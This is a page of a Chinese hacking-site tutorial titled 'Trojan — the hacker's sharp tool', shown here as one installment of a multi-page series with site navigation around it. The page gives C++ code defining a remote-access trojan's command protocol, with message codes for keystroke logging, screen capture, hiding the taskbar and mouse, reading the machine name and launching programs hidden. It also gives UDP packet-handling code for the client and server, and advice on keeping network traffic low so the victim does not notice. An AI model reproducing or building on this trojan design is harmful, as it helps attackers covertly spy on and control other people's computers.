通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
木马--黑客的利器
责任编辑:酷酷の鱼   更新日期:2008-3-3
 

 

//int SNum; //消息操作号 
  char *AllMsg;

  }SMsg;

  #define SMsgLen sizeof(SMsg)

  #define MSGListProgram 19

  #define MSGFlyMouse 21

  #define MSGGoWithMouse 22

  #define MSGSaveKey 23

  #define MSGTracekey 24

  #define MsgCopyScreen 25tcp接收消息,udp请求消息

  #define MSGCopyWindow 26

  //-------------------------

  //鼠标指针隐藏和显示控制

  //-------------------------

  #define MsgSetMouseStat 27//设置消息

  #define MsgMouseStat 28//成功消息

  typedef struct{

  bool mouseshow;

  }MsgSetMouseStatUint;

  #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)

  //-------------------------

  //任务栏隐藏和显示控制

  //-------------------------

  #define MsgSetTaskBarStat 29//设置消息

  #define MsgTaskBarStat 30//成功消息

  typedef struct{

  bool taskshow;

  }MsgSetTaskBarStatUint;

  #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

  //-------------------------

  //得到机器名

  //-------------------------

  #define MsgGetNetBiosName 31//取请求

  #define MsgNetBiosName 32//回送机器名

  typedef struct{

  char NetBiosName[128];

  }MsgNetBiosNameUint;

  #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

  //-------------------------

  //关闭进程变更!

  //-------------------------

  #define MsgSetProgramClose 33//关闭请求

  #define MsgProgramClosed 34//成功消息-----

  typedef struct{

  char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字

  }MsgSetProgramCloseUint;

  #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

  //-------------------------

  //打开进程变更!

  //-------------------------

  #define MsgSetProgramOpen 20//打开请求

  #define MsgProgramOpened 36//成功消息

  typedef struct{

  char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字

  bool ProgramShow;//前台运行或后台运行程序(隐藏运行)

  }MsgSetProgramOpenUint;

  #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

  #define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

  上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

  数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:

  Msg *msg=new Msg;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  RData->Read(msg,sizeof(Msg));

  UdpConnect *udpconnect=new UdpConnect;

  NetBiosName *netbiosname=new NetBiosName;

  if(msg->CNum==CNumBak)

  return;

  else{

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0://MsgUdpConnect

  RData->Read(udpconnect,sizeof(UdpConnect));

  checkuser(udpconnect->IsRight);

  break;

  case 1:

  RData->Read(netbiosname,sizeof(NetBiosName));

  AnsiString jqm="机器名 ";

  jqm+=(AnsiString)netbiosname->NetBiosName;

  Memo2->Lines->Add(jqm);

  break;

  }

  }

  当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:

  NMUDP1->RemoteHost=FromIP;

  NMUDP1->RemotePort=Port;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  Msg *msg=new Msg;

  RData->Read(msg,sizeof(Msg));

  if(msg->CNum==CNumBak)

  return;

  else

  {

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0:

  checkuser(msg->Password);

  break;

  case 1:

  GetNetBiosName();

  break;

  case 2:

  CheckHard();

  break;

  }

  }

上一页  [1] [2] [3] [4] [5] [6] [7] 下一页

  • 上一篇文章:
  • 下一篇文章: 没有了
  • 最近更新
    固顶文章 一日一动画稿费100元起
    普通文章 瑞星公司03月03日发布 每日计算机病毒及木马播报
    普通文章 黑客攻击网站百万网民受影响 两人已经被刑拘
    普通文章 终结者又出变种 破坏系统还原盗取用户信息
    普通文章 银监会通报5起银行信息科技风险事件
    普通文章 社保查询系统泄露个人信息 该系统已运转八年
    普通文章 “虚拟警察”见效果 有害信息降70%
    普通文章 公安部:国家信息安全等级保护工作稳步推进
    推荐文章 推荐:教你从原理入手扼杀传播病毒恶意网页
    普通文章 真实世界忠告 同样适用于保证网络安全
    热门文章
    普通文章另类杀毒方法 Windows安全模式下杀毒
    普通文章阻挡防火墙安全性的六大误区
    普通文章安全秘诀之交换机安全功能设置
    普通文章高手教你如何针对DDOS部署防御措施
    普通文章俄罗斯成恶意软件第一生产国
    普通文章传百度安全中心即将上线 涉水免费杀毒
    普通文章瑞星公司02月22日发布 每日计算机病毒及木马播报
    普通文章自己动手 删除病毒在电脑中的遗留文件
    推荐文章推荐:电脑初学者学习如何手工检测电脑病毒
    普通文章Web威胁肆虐 主动式防御导2008年安全
    精彩专题